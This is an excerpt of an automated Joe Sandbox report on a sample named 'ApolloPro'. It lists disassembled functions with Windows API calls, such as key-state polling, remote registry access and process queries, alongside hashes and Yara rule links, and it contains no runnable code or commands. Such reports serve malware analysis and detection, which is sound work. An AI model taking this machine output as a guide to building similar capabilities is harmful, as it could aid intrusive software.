                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
                                                                    • String ID: %s%d
                                                                    • API String ID: 1941087503-1110647743
                                                                    • Opcode ID: 592e44f37ac2cd1b1eeb994a5cfca8669e03929d4a08aaf3357b48ad518456fb
                                                                    • Instruction ID: 01a811264a9cf08c085fec18fdaada9401bc90d0f53363e25cfdcc74ad860253
                                                                    • Opcode Fuzzy Hash: 592e44f37ac2cd1b1eeb994a5cfca8669e03929d4a08aaf3357b48ad518456fb
                                                                    • Instruction Fuzzy Hash: C911CD75600308ABDF55AFA4CD89FEA37ACFB46310F0040B9BE09EA182CA755945DB72
                                                                    Function 008122E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?), ref: 00812318
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpper
                                                                    • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                                    • API String ID: 3964851224-769500911
                                                                    • Opcode ID: b3450b9b56660a87b538e5095e59bd7d9a3c69e8ce0bdd92d1348386e74000b1
                                                                    • Instruction ID: e5dfa300d6098b7b88985b5709b7ac514a686a6133b7ba0c67e08b87ce708108
                                                                    • Opcode Fuzzy Hash: b3450b9b56660a87b538e5095e59bd7d9a3c69e8ce0bdd92d1348386e74000b1
                                                                    • Instruction Fuzzy Hash: 81115E30900118DF8B00EFA4D8505EEB3B8FF26304F50406AD910D7362DB365A5ACB90
                                                                    Function 0082F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0082F2F0
                                                                    • GetProcessIoCounters.KERNEL32(00000000,?), ref: 0082F320
                                                                    • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0082F453
                                                                    • CloseHandle.KERNEL32(?), ref: 0082F4D4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                                    • String ID:
                                                                    • API String ID: 2364364464-0
                                                                    • Opcode ID: d9b22ed228dd234e1da0be25889acf916d9295f0aee3abfe34a60c6bdf72ed19
                                                                    • Instruction ID: bbebcb04e32a78bf94f36babef61ee7ebf4fe317d4eebec3ec2e7f54dee73d65
                                                                    • Opcode Fuzzy Hash: d9b22ed228dd234e1da0be25889acf916d9295f0aee3abfe34a60c6bdf72ed19
                                                                    • Instruction Fuzzy Hash: 1F816B716003109FD720EF28D886B6AB7E5FF48710F14892DFA99DB293D6B4AC40CB91
                                                                    Function 00830697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 0083147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0083040D,?,?), ref: 00831491
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0083075D
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0083079C
                                                                    • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 008307E3
                                                                    • RegCloseKey.ADVAPI32(?,?), ref: 0083080F
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 0083081C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                                                    • String ID:
                                                                    • API String ID: 3440857362-0
                                                                    • Opcode ID: 29c9abe9e6151fbd6257666d875ca43ad7a6bffc4d66e8c312262783be3d06ea
                                                                    • Instruction ID: 7bb99e0b8d613f7ca991406ac5bbf2ccb7ab0c8f86f7fd7e173d4ca55a40168c
                                                                    • Opcode Fuzzy Hash: 29c9abe9e6151fbd6257666d875ca43ad7a6bffc4d66e8c312262783be3d06ea
                                                                    • Instruction Fuzzy Hash: 5C515631218208AFC714EB68CC95F6AB7E9FF85304F04892DF595872A2DB35E905CF92
                                                                    Function 0081EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0081EC62
                                                                    • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0081EC8B
                                                                    • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0081ECCA
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0081ECEF
                                                                    • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0081ECF7
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 1389676194-0
                                                                    • Opcode ID: c351cb5aaf2d8c953fa06d56d30045469e001eb8581e367c882ee0fd17a75ea3
                                                                    • Instruction ID: 6968f779d48394a46f805a8db09e098afc848e3847f5f3ed56a56a7e8270b63d
                                                                    • Opcode Fuzzy Hash: c351cb5aaf2d8c953fa06d56d30045469e001eb8581e367c882ee0fd17a75ea3
                                                                    • Instruction Fuzzy Hash: 32513935A00105DFCB01EF64C989AAEBBF5FF09314B148099E949AB3A2CB35ED51DF90
                                                                    Function 0083A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 1d2202a20cd0e660a21d06fadbff35760887f25288c16803dd61aa61d9f45252
                                                                    • Instruction ID: a3f1cb0e3a114d4071db05dfa224b5f36822855a0529f5d1e8a913a8b6a5261f
                                                                    • Opcode Fuzzy Hash: 1d2202a20cd0e660a21d06fadbff35760887f25288c16803dd61aa61d9f45252
                                                                    • Instruction Fuzzy Hash: 1B411335900108AFC718DB28CCC8FAABBB4FB8A350F150265E9DAE72D1D7709D41DAD1
                                                                    Function 007B2714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCursorPos.USER32(?), ref: 007B2727
                                                                    • ScreenToClient.USER32(008777B0,?), ref: 007B2744
                                                                    • GetAsyncKeyState.USER32(00000001), ref: 007B2769
                                                                    • GetAsyncKeyState.USER32(00000002), ref: 007B2777
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AsyncState$ClientCursorScreen
                                                                    • String ID:
                                                                    • API String ID: 4210589936-0
                                                                    • Opcode ID: af9f57018a2945ab551d7f32bdd42c2701249c7903cafb4a53b29249bbddd447
                                                                    • Instruction ID: dbeaab5eb0a539bdf02513b673fa7de7ff3e801234721c50a1fb34106a35375f
                                                                    • Opcode Fuzzy Hash: af9f57018a2945ab551d7f32bdd42c2701249c7903cafb4a53b29249bbddd447
                                                                    • Instruction Fuzzy Hash: 5A41B439505109FFCF169F69C848BE9BB74FB0A324F108319F92496291CB349D51DF91
                                                                    Function 008095D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowRect.USER32(?,?), ref: 008095E8
                                                                    • PostMessageW.USER32(?,00000201,00000001), ref: 00809692
                                                                    • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0080969A
                                                                    • PostMessageW.USER32(?,00000202,00000000), ref: 008096A8
                                                                    • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 008096B0
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessagePostSleep$RectWindow
                                                                    • String ID:
                                                                    • API String ID: 3382505437-0
                                                                    • Opcode ID: c55940f3ee2c8d1945576f18b549fee8e5b7e36776c99c839de9486187c42f5f
                                                                    • Instruction ID: 017dc00153c4d82e887d4a1fe9478f443f99aa7b1c3cc54e4d234c37813d3661
                                                                    • Opcode Fuzzy Hash: c55940f3ee2c8d1945576f18b549fee8e5b7e36776c99c839de9486187c42f5f
                                                                    • Instruction Fuzzy Hash: 0D31DA71900219EFDB10CFA8DD4CAAE3BB5FB55319F104228F965EB2D2C3B19920CB90
                                                                    Function 0080BD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindowVisible.USER32(?), ref: 0080BD9D
                                                                    • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0080BDBA
                                                                    • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0080BDF2
                                                                    • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0080BE18
                                                                    • _wcsstr.LIBCMT ref: 0080BE22
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                                    • String ID:
                                                                    • API String ID: 3902887630-0
                                                                    • Opcode ID: 1bed79354da0e554ebc28aa7d07300f4852876a932e795428c64c80ebee2d1db
                                                                    • Instruction ID: ec41cb24b618f6397498831f966cd8882a53f1760078ffa48a7227fa51f48eca
                                                                    • Opcode Fuzzy Hash: 1bed79354da0e554ebc28aa7d07300f4852876a932e795428c64c80ebee2d1db
                                                                    • Instruction Fuzzy Hash: E1212632204204BBEB655B35DC0DEBBBBACEF45760F10402AFD09DA1D1EB75CC4096A0
                                                                    Function 0083B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 0083B804
                                                                    • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0083B829
                                                                    • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0083B841
                                                                    • GetSystemMetrics.USER32(00000004), ref: 0083B86A
                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,0082155C,00000000), ref: 0083B888
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Long$MetricsSystem
                                                                    • String ID:
                                                                    • API String ID: 2294984445-0
                                                                    • Opcode ID: 18216afffb6430bc7ac1818804641304842b9b36cdac610e583913ce26f2a13d
                                                                    • Instruction ID: beae85105e8c1a2bd7d97a431c5b040622d1fb96adad543d79355f95c9d01c06
                                                                    • Opcode Fuzzy Hash: 18216afffb6430bc7ac1818804641304842b9b36cdac610e583913ce26f2a13d
                                                                    • Instruction Fuzzy Hash: 4E2160B1914259AFCB149F38CC08A6A37A8FB85765F154639FA25D62E0D7309950CAD0
                                                                    Function 00809EBF Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00809ED8
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00809F0A
                                                                    • __itow.LIBCMT ref: 00809F22
                                                                    • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00809F4A
                                                                    • __itow.LIBCMT ref: 00809F5B
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$__itow$_memmove
                                                                    • String ID:
                                                                    • API String ID: 2983881199-0
                                                                    • Opcode ID: d485ac106806b0eacd36ce39d0eeb4a4999e13d7ba0511cfd7d4cab0e94cedef
                                                                    • Instruction ID: 9bb6fd19c5432848ba5f42ad8d9506276c793d7e015a6136be375712cee2db44
                                                                    • Opcode Fuzzy Hash: d485ac106806b0eacd36ce39d0eeb4a4999e13d7ba0511cfd7d4cab0e94cedef
                                                                    • Instruction Fuzzy Hash: F521D631701209BBDB509A54CC8AEAF7BA8FF8A750F054029FA45D7282EA74C9419BD2
                                                                    Function 00826138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindow.USER32(00000000), ref: 00826159
                                                                    • GetForegroundWindow.USER32 ref: 00826170
                                                                    • GetDC.USER32(00000000), ref: 008261AC
                                                                    • GetPixel.GDI32(00000000,?,00000003), ref: 008261B8
                                                                    • ReleaseDC.USER32(00000000,00000003), ref: 008261F3
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ForegroundPixelRelease
                                                                    • String ID:
                                                                    • API String ID: 4156661090-0
                                                                    • Opcode ID: 9d524dbb744ef5bde42f08791d83af3a17207e51ec7a3a9a6014688e34d137f7
                                                                    • Instruction ID: f86dc9f5406263d4d01044d8c68971f19d6dcc6c8e3f86d9c7cdcc6cba50017b
                                                                    • Opcode Fuzzy Hash: 9d524dbb744ef5bde42f08791d83af3a17207e51ec7a3a9a6014688e34d137f7
                                                                    • Instruction Fuzzy Hash: 8E21A175A00204EFD710EF68DC88A9ABBF9FF89310F048469E94AD7252DB30AC50CB90
                                                                    Function 007B16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 007B1729
                                                                    • SelectObject.GDI32(?,00000000), ref: 007B1738
                                                                    • BeginPath.GDI32(?), ref: 007B174F
                                                                    • SelectObject.GDI32(?,00000000), ref: 007B1778
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ObjectSelect$BeginCreatePath
                                                                    • String ID:
                                                                    • API String ID: 3225163088-0
                                                                    • Opcode ID: f290610ed39b792d3d7355ced63195c84c0de7d574574a30437eaed2ca1ffb08
                                                                    • Instruction ID: 5a46e34477849d1abff6f4aea51d9757bb446195ce4af2a876a195f9e8d2f4b3
                                                                    • Opcode Fuzzy Hash: f290610ed39b792d3d7355ced63195c84c0de7d574574a30437eaed2ca1ffb08
                                                                    • Instruction Fuzzy Hash: 2B21C130804208EBDB108F64DC0CBAA3BA8FB01311F984235F829961A4DB79D891CF86
                                                                    Function 0080C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memcmp
                                                                    • String ID:
                                                                    • API String ID: 2931989736-0
                                                                    • Opcode ID: 9a01b27d27525618e9fb4edab7a46424a71a75b6ecc7fac95461d7d2171661a4
                                                                    • Instruction ID: 9029234e1f5301e87bc24b36161d4bd09271e69040076bc45c94585d33465170
                                                                    • Opcode Fuzzy Hash: 9a01b27d27525618e9fb4edab7a46424a71a75b6ecc7fac95461d7d2171661a4
                                                                    • Instruction Fuzzy Hash: B60196626001097BE214AB115D86FA7676CFA60354B048235FD16D6782EB68DE1591E8
                                                                    Function 0081504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentThreadId.KERNEL32 ref: 00815075
                                                                    • __beginthreadex.LIBCMT ref: 00815093
                                                                    • MessageBoxW.USER32(?,?,?,?), ref: 008150A8
                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 008150BE
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 008150C5
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                                                    • String ID:
                                                                    • API String ID: 3824534824-0
                                                                    • Opcode ID: d77fb529328b85a27ec125866432589706188fc5143686a2e7de432160b74056
                                                                    • Instruction ID: 1ee750755ec854eaf0c5f97290ba145c48398bc425e6d28fb320611e3a7edf23
                                                                    • Opcode Fuzzy Hash: d77fb529328b85a27ec125866432589706188fc5143686a2e7de432160b74056
                                                                    • Instruction Fuzzy Hash: 2711E976914A58ABC7019FA89C08ADB7FADFB85324F140255F929D3361D6718980CBF0
                                                                    Function 00808E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00808E3C
                                                                    • GetLastError.KERNEL32(?,00808900,?,?,?), ref: 00808E46
                                                                    • GetProcessHeap.KERNEL32(00000008,?,?,00808900,?,?,?), ref: 00808E55
                                                                    • HeapAlloc.KERNEL32(00000000,?,00808900,?,?,?), ref: 00808E5C
                                                                    • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00808E73
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
